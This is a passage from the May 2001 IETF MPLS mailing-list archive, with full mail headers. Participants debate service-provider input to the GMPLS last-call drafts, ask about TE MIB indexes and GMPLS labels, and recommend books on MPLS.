> with one, perhaps two, exceptions.

correct

> I believe it would be very useful to get some SP input to ensure that
> their operational needs are met and that they can transition to using this
> work, since they, after all, are the ones who will use the protocols.

right, that's the point Tom and Yakov seem to have missed.


From owner-mpls@UU.NET  Thu May 24 20:25:51 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA23164
	for <mpls-archive@lists.ietf.org>; Thu, 24 May 2001 20:25:50 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqlt29539;
	Fri, 25 May 2001 00:24:01 GMT
Received: by mail-control.mail.uu.net 
	id QQkqlt23085
	for mpls-outgoing; Fri, 25 May 2001 00:23:23 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqlt23063
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 00:23:08 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqlt03213
	for <mpls@UU.NET>; Fri, 25 May 2001 00:22:40 GMT
Received: from hoemail1.firewall.lucent.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: hoemail1.lucent.com [192.11.226.161])
	id QQkqlt20395
	for <mpls@UU.NET>; Fri, 25 May 2001 00:22:39 GMT
Received: from hoemail1.firewall.lucent.com (localhost [127.0.0.1])
	by hoemail1.firewall.lucent.com (Switch-2.1.1/Switch-2.1.0) with ESMTP id f4P0McT16846
	for <mpls@UU.NET>; Thu, 24 May 2001 20:22:38 -0400 (EDT)
Received: from hotair.hobl.lucent.com (h199-118-135-2.lucent.com [199.118.135.2])
	by hoemail1.firewall.lucent.com (Switch-2.1.1/Switch-2.1.0) with SMTP id f4P0Mcn16836;
	Thu, 24 May 2001 20:22:38 -0400 (EDT)
Received: from hotair.hobl.lucent.com by hotair.hobl.lucent.com (SMI-8.6/EMS-1.5 sol2)
	id UAA17177; Thu, 24 May 2001 20:22:37 -0400
Message-ID: <3B0DA8BB.1806273@hotair.hobl.lucent.com>
Date: Thu, 24 May 2001 20:35:07 -0400
From: Eve Varma <evarma@lucent.com>
X-Mailer: Mozilla 4.5 [en] (Win95; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "v.sharma@ieee.org" <v.sharma@ieee.org>
CC: "'Thomas D. Nadeau'" <tnadeau@cisco.com>,
        Yakov Rekhter <yakov@juniper.net>,
        "Ash, Gerald R (Jerry)" <gash@att.com>,
        "ccamp@ops.ietf.org" <ccamp@ops.ietf.org>, "mpls@UU.NET" <mpls@UU.NET>
Subject: Re: GMPLS Last Calls
References: <01C0E475.B1394180.vsharma87@yahoo.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi Vishal,
   You are quite right that service providers can provide their inputs
over the list.  I recall one such draft was provided by BT on
Considerations on the development of an Optical Control Plane -
http://search.ietf.org/internet-drafts/draft-freeland-octrl-cons-01.txt
This may offer a good starting point.
                            Cheers,
                               Eve

Vishal Sharma wrote:
> 
> Tom, Yakov,
> 
> I agree with you. Although, in all fairness to Gerry, I don't think by
> "invited" he meant literally that people should be called in to put
> their names on drafts (any drafts, not just GMPLS ones) simply because they
> happen to be working for a service provider.
> I think what he meant was that more service providers should be involved in
> the discussions for various GMPLS features.
> 
> I think the point Gerry raised is a good one, and this can always be done
> via the MPLS and CCAMP lists. (The current drafts are, in fact, weighted
> very heavily in favor of contributors who come from the vendor community,
> with one, perhaps two, exceptions.)
> 
> Service providers can, however,  certainly provide their inputs over the list
> and
> initiate constructive discussion about features
> of GMPLS signaling that they would like included in the current signaling
> drafts
> (and features of routing that they would like to see in forthcoming routing
> drafts). I believe it would be very useful to get some SP input to ensure that
> their operational needs are met and that they can transition to using this
> work, since they, after all, are the ones who will use
> the protocols.
> 
> -Vishal
> 
> On Thursday, May 24, 2001 12:15 PM, Thomas D. Nadeau [SMTP:tnadeau@cisco.com]
> wrote:
> >
> > > > As per Eve's comment at IETF-50, SPs are encouraged to post their
> > > > requirements to the list.  It would also help if more SPs were invited to
> > > > co-author the GMPLS drafts, to help ensure that SP requirements are more
> > > > adequately reflected and addressed.
> > >
> > >If someone has anything *substantial* to contribute to the GMPLS
> > >drafts, such person should be invited to become a co-author. This
> > >is *irrespective* of whether such person works for a SP or not. On
> > >the other hand, just because a person works for a SP, doesn't mean
> > >such a person should be invited to become a co-author.
> >
> >          Yakov is precisely correct. The addition
> > of (co)authors to drafts has all to do with their
> > (generally significant) input to the drafts (and
> > perhaps editing of the actual documents) regardless
> > of corporate affiliation. It is not about being
> > invited to put their names on the drafts just
> > for advertising purposes.
> >
> >          --Tom


From owner-mpls@UU.NET  Thu May 24 20:26:44 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA23179
	for <mpls-archive@lists.ietf.org>; Thu, 24 May 2001 20:26:44 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqlt01500;
	Fri, 25 May 2001 00:25:21 GMT
Received: by mail-control.mail.uu.net 
	id QQkqlt23100
	for mpls-outgoing; Fri, 25 May 2001 00:23:43 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqlt23082
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 00:23:22 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqlt04511
	for <mpls@uu.net>; Fri, 25 May 2001 00:23:09 GMT
Received: from radiant.chromisys.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: radiant.calient.net [63.102.55.206])
	id QQkqlt21135
	for <mpls@uu.net>; Fri, 25 May 2001 00:23:08 GMT
Received: by radiant.chromisys.com with Internet Mail Service (5.5.2653.19)
	id <LD7RLZ1J>; Thu, 24 May 2001 17:18:20 -0700
Message-ID: <A1AFE5CF886C5D439494D9D5DE84EEF373705F@radiant.chromisys.com>
From: John Drake <jdrake@calient.net>
To: "'Tarapore, Percy S'" <tarapore@att.com>,
        "Ash, Gerald R (Jerry)"
	 <gash@att.com>, ccamp@ops.ietf.org,
        mpls@UU.NET
Subject: RE: GMPLS Last Calls
Date: Thu, 24 May 2001 17:18:16 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Percy,

There has been work on protocols for path restoration in mesh networks by a
number of
people.  However, at the last IETF Kireeti and Vijay clearly indicated that
this work,
while interesting, wouldn't be allowed to progress in advance of a
restoration requirements
draft from the TE group.

Thanks,

John

-----Original Message-----
From: Tarapore, Percy S [mailto:tarapore@att.com]
Sent: Thursday, May 24, 2001 11:55 AM
To: Ash, Gerald R (Jerry); ccamp@ops.ietf.org; mpls@uu.net
Subject: RE: GMPLS Last Calls


There is a significant issue related to the absence of restoration in the
signaling draft
(http://www.ietf.org/internet-drafts/draft-ietf-mpls-generalized-signaling-0
4.txt). Very specifically, Section 7 of this draft deals with the case
involving protection information for link protection. While link protection
schemes may be desirable for fast recovery related to high priority LSP's,
more cost-effective shared mesh restoration schemes would be preferred for
the majority of traffic from a Service Provider's perspective. This
observation is supported by the fact that many vendors are currently
developing proprietary schemes for shared mesh restoration. Hence, in
addition to the protection information, GMPLS signaling needs to reflect a
minimum set of information/attributes required for shared mesh restoration
without jeopardizing vendor proprietary solutions.

The need for multiple types of restoration capabilities is well documented
in the OIF/UNI I-D
http://search.ietf.org/internet-drafts/draft-many-carrier-framework-uni-00.t
xt as follows:

" Multiple types of facilities available for restoration are needed
   within the network. The following options should be considered for
   allocation of facilities to support restoration of failed
   connections:
   - Dedicated restoration capacity
   - Shared restoration capacity. This allows the network to ensure
     high quality service for customers, while still managing its
     physical resources efficiently.
   - Un-restorable
   - Pre-emptable"

The OIF/UNI I-D supports a range of different restoration schemes through
the use of service level as a connection attribute. This attribute is
defined as follows:

" an integer attribute that indicates a class of service. A carrier may
specify a range of different classes of service (e.g. gold, silver, bronze)
with predefined characteristics (e.g. restoration plans). The pre-defined
service types correspond to different types of network restoration (e.g. no
restoration, 1+1 protection), connection set-up and hold priorities,
reversion strategies for the connection after failures have been repaired,
and retention strategies."

It is therefore important that GMPLS be extended to be able to support such
restoration schemes.

Percy S. Tarapore
AT&T Labs

-----Original Message-----
From: Ash, Gerald R (Jerry) 
Sent: Thursday, May 24, 2001 2:20 PM
To: ccamp@ops.ietf.org; mpls@uu.net
Cc: Ash, Gerald R (Jerry)
Subject: RE: GMPLS Last Calls


Quoting from the CCAMP/IETF-50 meeting minutes re the GMPLS Architecture
draft:

"Eve - Had hoped that CCAMP formation and expression of requirements would
enable us to do more with architecture than reverse architect proposed
solution. Think we should also look at carrier requirements and look for
discrepancies with architecture. 
Curtis - requirements of carriers not being addressed?
Eve - happy to discuss on mailing list in absence of time"

There are still no documented service provider (SP) requirements driving the
proposed GMPLS protocol extensions.  This is inconsistent with the current
initiatives to provide SP requirements prior to protocol extensions being
accepted, such as for protection/restoration, network hierarchy, MPLS OAM,
MPLS/DiffServ TE, multi-area TE, etc.  

Here is a sample of SP requirements that are not being addressed (other
requirements from our perspective are forthcoming):

1. Restoration requirements, particularly in support of mesh restoration,
need to be supported by GMPLS.  For example, Section 7 of the Generalized
Signaling I-D
(http://www.ietf.org/internet-drafts/draft-ietf-mpls-generalized-signaling-0
4.txt) 
primarily discusses link protection, restoration capabilities are largely
missing and need to be included.

2. Standards explicitly supported by GMPLS, such as G.707, G.709, etc.,
should be clearly identified in the text and referenced in the GMPLS I-Ds,
e.g., in Section 3.1 of the Generalized Signaling I-D, add "G.707 [Reference
G.707] is supported by the Generalized Label Request."

As per Eve's comment at IETF-50, SPs are encouraged to post their
requirements to the list.  It would also help if more SPs were invited to
co-author the GMPLS drafts, to help ensure that SP requirements are more
adequately reflected and addressed.

Jerry Ash
AT&T Labs


-----Original Message-----
From: George Swallow [mailto:swallow@cisco.com]
Sent: Monday, May 14, 2001 1:52 PM
To: ccamp@ops.ietf.org; mpls@uu.net
Subject: GMPLS Last Calls


This message initiates a last call on four GMPLS drafts.  The last
call is being issued jointly in the MPLS and CCAMP workgroups.

The drafts are:

    1.  Generalized MPLS - Signaling Functional Description

           <draft-ietf-mpls-generalized-signaling-04.txt>


    2.  Generalized MPLS Signaling - RSVP-TE Extensions

           <draft-ietf-mpls-generalized-rsvp-te-03.txt>


    3.  Generalized MPLS Signaling - CR-LDP Extensions

           <draft-ietf-mpls-generalized-cr-ldp-03.txt>


    4.  GMPLS Extensions for SONET and SDH Control

           <draft-ietf-ccamp-gmpls-sonet-sdh-00.txt>


The last call closes May 29, 12 pm GMT.


-  V2KG (Vijay, Vijay, Kireeti, & George)


======================================================================
George Swallow       Cisco Systems                   (978) 244-8143
                     250 Apollo Drive
                     Chelmsford, Ma 01824





From owner-mpls@UU.NET  Fri May 25 01:10:06 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA28251
	for <mpls-archive@lists.ietf.org>; Fri, 25 May 2001 01:10:05 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqmm11895;
	Fri, 25 May 2001 05:08:42 GMT
Received: by mail-control.mail.uu.net 
	id QQkqmm23037
	for mpls-outgoing; Fri, 25 May 2001 05:08:06 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqmm23003
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 05:07:44 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqmm07326
	for <mpls@UU.NET>; Fri, 25 May 2001 05:07:35 GMT
Received: from multitech.co.in by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.54.39.98])
	id QQkqmm27713
	for <mpls@UU.NET>; Fri, 25 May 2001 05:07:34 GMT
Received: from multitech.co.in ([202.108.17.133])
	by multitech.co.in (8.11.0/8.11.0) with ESMTP id f4P55fR26188;
	Fri, 25 May 2001 10:35:42 +0530
Message-ID: <3B0EBADB.AA8D71C3@multitech.co.in>
Date: Fri, 25 May 2001 13:04:43 -0700
From: AtmeshSrivastava <atmesh@multitech.co.in>
X-Mailer: Mozilla 4.5 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: tnadeau@cisco.com, mpls@UU.NET
Subject: TE MIB Indexes
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi,
In the TE Mib, for the TE Tunnel Table the Max Acess of the indexes is
Accessible For Notify which means that these indexes are generated only
in the case of a trap event . Now for Snmp support how do you perform
set , get and get next operation.
Well in my Opinion only when you get the indexes through the trap you
can use them to get the values of the other leaf variables for that
particular index , that means you cannot do  a get next operation .The
sameis applicable for the set operation .
Please clarify on these issues as soon as possible.

Regards,
Atmesh
Software Engineer
Multitech Software Systems India (p) Ltd





From owner-mpls@UU.NET  Fri May 25 10:01:19 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA18288
	for <mpls-archive@lists.ietf.org>; Fri, 25 May 2001 10:01:19 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqnv21639;
	Fri, 25 May 2001 13:57:54 GMT
Received: by mail-control.mail.uu.net 
	id QQkqnv12269
	for mpls-outgoing; Fri, 25 May 2001 13:57:19 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqnv12259
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 13:57:13 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqnv15205
	for <mpls@uu.net>; Fri, 25 May 2001 13:56:19 GMT
Received: from sj-msg-core-2.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-2.cisco.com [171.69.24.11])
	id QQkqnv15885
	for <mpls@uu.net>; Fri, 25 May 2001 13:56:18 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f4PDYtU28906
	for <mpls@uu.net>; Fri, 25 May 2001 06:34:56 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id JAA10412 for mpls@uu.net; Fri, 25 May 2001 09:34:53 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkqnh25749
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 10:18:00 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqnh07185
	for <mpls@UU.NET>; Fri, 25 May 2001 10:16:41 GMT
Received: from web8005.mail.in.yahoo.com by cmr1.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: web8005.in.yahoo.com [203.199.70.65])
	id QQkqnh29778
	for <mpls@UU.NET>; Fri, 25 May 2001 10:16:40 GMT
Message-ID: <20010525101639.96399.qmail@web8005.mail.in.yahoo.com>
Received: from [203.190.136.98] by web8005.mail.in.yahoo.com; Fri, 25 May 2001 11:16:39 BST
Date: Fri, 25 May 2001 11:16:39 +0100 (BST)
From: =?iso-8859-1?q?divya=20mattey?= <divya_mattey@yahoo.co.in>
To: mpls@UU.NET
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit

Hi,

I have a confusion regarding 'physical labels ' and
'logical values of label' in
draft-ietf-mpls-generalized-rsvp-te. What is the
differenc between these two. It will be better if
someone can explain with some example.

Regards,
Divya.

____________________________________________________________
Do You Yahoo!?
For regular News updates go to http://in.news.yahoo.com



From owner-mpls@UU.NET  Fri May 25 10:47:57 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA19053
	for <mpls-archive@lists.ietf.org>; Fri, 25 May 2001 10:47:57 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqny16874;
	Fri, 25 May 2001 14:44:10 GMT
Received: by mail-control.mail.uu.net 
	id QQkqny07102
	for mpls-outgoing; Fri, 25 May 2001 14:43:36 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqny07087
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 14:43:23 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkqny19593
	for <mpls@UU.NET>; Fri, 25 May 2001 14:41:46 GMT
Received: from dirty.research.bell-labs.com by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: dirty.research.bell-labs.com [204.178.16.6])
	id QQkqny10480
	for <mpls@UU.NET>; Fri, 25 May 2001 14:41:46 GMT
Received: from bronx.dnrc.bell-labs.com ([135.180.160.8]) by dirty; Fri May 25 10:40:52 EDT 2001
Received: from acme (acme [135.180.135.56])
	by bronx.dnrc.bell-labs.com (8.9.3/8.9.3) with SMTP id KAA18922
	for <mpls@UU.NET>; Fri, 25 May 2001 10:40:36 -0400 (EDT)
Message-ID: <001001c0e52a$5995cab0$3887b487@dnrc.belllabs.com>
Reply-To: "Dharani Vilwanathan" <dharani@lucent.com>
From: "Dharani Vilwanathan" <dharani@lucent.com>
To: <mpls@UU.NET>
References: <20010525101639.96399.qmail@web8005.mail.in.yahoo.com>
Subject: Book on MPLS
Date: Fri, 25 May 2001 10:52:41 -0400
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi,

I would like to know more about MPLS. Any good book or resources?

Thanks in advance.

Regards
dharani




From owner-mpls@UU.NET  Fri May 25 10:54:41 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA19137
	for <mpls-archive@lists.ietf.org>; Fri, 25 May 2001 10:54:39 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqnz19258;
	Fri, 25 May 2001 14:51:38 GMT
Received: by mail-control.mail.uu.net 
	id QQkqnz08368
	for mpls-outgoing; Fri, 25 May 2001 14:51:00 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqnz08343
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 14:50:47 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqnz17515
	for <mpls@UU.NET>; Fri, 25 May 2001 14:50:31 GMT
Received: from allegro.jnpr.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: natint.juniper.net [207.17.136.129])
	id QQkqnz02481
	for <mpls@UU.NET>; Fri, 25 May 2001 14:50:31 GMT
Received: by allegro.jnpr.net with Internet Mail Service (5.5.2653.19)
	id <KV0BTL29>; Fri, 25 May 2001 07:51:41 -0700
Message-ID: <D0CA5A50BD21D411BD9C0090276282220487ED8F@allegro.jnpr.net>
From: Steve Holman <sholman@juniper.net>
To: "'Dharani Vilwanathan'" <dharani@lucent.com>, mpls@UU.NET
Subject: RE: Book on MPLS
Date: Fri, 25 May 2001 07:51:33 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Here's a couple:

This is a general discussion of MPLS and its creation:
http://www.amazon.com/exec/obidos/ASIN/1558606564/o/qid=990801995/sr=2-2/107
-4831381-5270903

This is a more detailed look at the implementation of MPLS:
http://www.amazon.com/exec/obidos/ASIN/1587050021/o/qid=990801995/sr=2-1/107
-4831381-5270903


Happy reading!

Cheers,
Steve

> -----Original Message-----
> From: Dharani Vilwanathan [mailto:dharani@lucent.com]
> Sent: Friday, May 25, 2001 7:53 AM
> To: mpls@UU.NET
> Subject: Book on MPLS
> 
> 
> Hi,
> 
> I would like to know more about MPLS. Any good book or resources?
> 
> Thanks in advance.
> 
> Regards
> dharani
> 
> 


From owner-mpls@UU.NET  Fri May 25 11:17:33 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA19437
	for <mpls-archive@lists.ietf.org>; Fri, 25 May 2001 11:17:32 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqoa22095;
	Fri, 25 May 2001 15:14:35 GMT
Received: by mail-control.mail.uu.net 
	id QQkqoa00249
	for mpls-outgoing; Fri, 25 May 2001 15:14:02 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkqoa00233
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 15:13:50 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqoa04454
	for <mpls@UU.NET>; Fri, 25 May 2001 15:12:47 GMT
Received: from mailout2-0.nyroc.rr.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailout2-0.nyroc.rr.com [24.92.226.121])
	id QQkqoa20619
	for <mpls@UU.NET>; Fri, 25 May 2001 15:12:47 GMT
Received: from city (syr-24-95-162-187.twcny.rr.com [24.95.162.187])
	by mailout2-0.nyroc.rr.com (8.11.2/RoadRunner 1.03) with SMTP id f4PFB2d19046;
	Fri, 25 May 2001 11:11:02 -0400 (EDT)
Message-ID: <002501c0e52c$d029dca0$bba25f18@twcny.rr.com>
From: "Taner OKUMUS" <iokumus@mailbox.syr.edu>
To: "Dharani Vilwanathan" <dharani@lucent.com>, <mpls@UU.NET>
References: <20010525101639.96399.qmail@web8005.mail.in.yahoo.com> <001001c0e52a$5995cab0$3887b487@dnrc.belllabs.com>
Subject: Re: Book on MPLS
Date: Fri, 25 May 2001 11:10:19 -0400
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

check this one:
www.mplsrc.com

Ibrahim Taner OKUMUS
Syracuse University
Electrical & Computer Engineering
http://web.syr.edu/~iokumus
----- Original Message ----- 
From: "Dharani Vilwanathan" <dharani@lucent.com>
To: <mpls@UU.NET>
Sent: Friday, May 25, 2001 10:52 AM
Subject: Book on MPLS


> Hi,
> 
> I would like to know more about MPLS. Any good book or resources?
> 
> Thanks in advance.
> 
> Regards
> dharani
> 
> 
> 



From owner-mpls@UU.NET  Fri May 25 11:40:09 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA19728
	for <mpls-archive@lists.ietf.org>; Fri, 25 May 2001 11:40:04 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqoc10803;
	Fri, 25 May 2001 15:36:36 GMT
Received: by mail-control.mail.uu.net 
	id QQkqoc02398
	for mpls-outgoing; Fri, 25 May 2001 15:36:02 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqoc02360
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 15:35:51 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkqoc03320
	for <mpls@uu.net>; Fri, 25 May 2001 15:35:11 GMT
Received: from sj-msg-core-2.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-2.cisco.com [171.69.24.11])
	id QQkqoc02459
	for <mpls@uu.net>; Fri, 25 May 2001 15:35:10 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f4PFZBU00551
	for <mpls@uu.net>; Fri, 25 May 2001 08:35:11 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id LAA00705 for mpls@uu.net; Fri, 25 May 2001 11:35:08 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqob01420
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 15:24:55 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqob12301
	for <mpls@uu.net>; Fri, 25 May 2001 15:24:20 GMT
From: dimitri.voutsinas@bt.com
Received: from relay3.bt.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: relay3.bt.net [194.72.6.50])
	id QQkqob00237
	for <mpls@uu.net>; Fri, 25 May 2001 15:24:19 GMT
Received: from [194.74.75.6] (helo=sstaalex01.ukcore.bt.net)
	by relay3.bt.net with esmtp (Exim 3.15 #1)
	id 153JRs-00069S-00; Fri, 25 May 2001 16:24:20 +0100
Received: by sstaalex01.ukcore.bt.net with Internet Mail Service (5.5.2650.21)
	id <KQLK3H6B>; Fri, 25 May 2001 16:19:19 +0100
Message-ID: <05B7FBDF7126D411A9C600508BC22E31BCA40F@sstaalex01.ukcore.bt.net>
To: dharani@lucent.com, mpls@UU.NET
Subject: RE: Book on MPLS
Date: Fri, 25 May 2001 16:19:17 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Another decent book to add to your list of many already given is:

MPLS and VPN Architectures: A Practical Guide to Understanding, Designing
and Deploying MPLS and MPLS-Enabled VPNs
by Jim Guichard, Ivan Pepelnjak

http://www.amazon.com/exec/obidos/ASIN/1587050021/ref=pd_sim_elt_l1/104-8933
169-0293564

Enjoy!

Dimitri
BTnet

-----Original Message-----
From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of Dharani
Vilwanathan
Sent: Friday, May 25, 2001 3:53 PM
To: mpls@UU.NET
Subject: Book on MPLS


Hi,

I would like to know more about MPLS. Any good book or resources?

Thanks in advance.

Regards
dharani



From owner-mpls@UU.NET  Fri May 25 11:43:32 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA19790
	for <mpls-archive@lists.ietf.org>; Fri, 25 May 2001 11:43:32 -0400 (EDT)
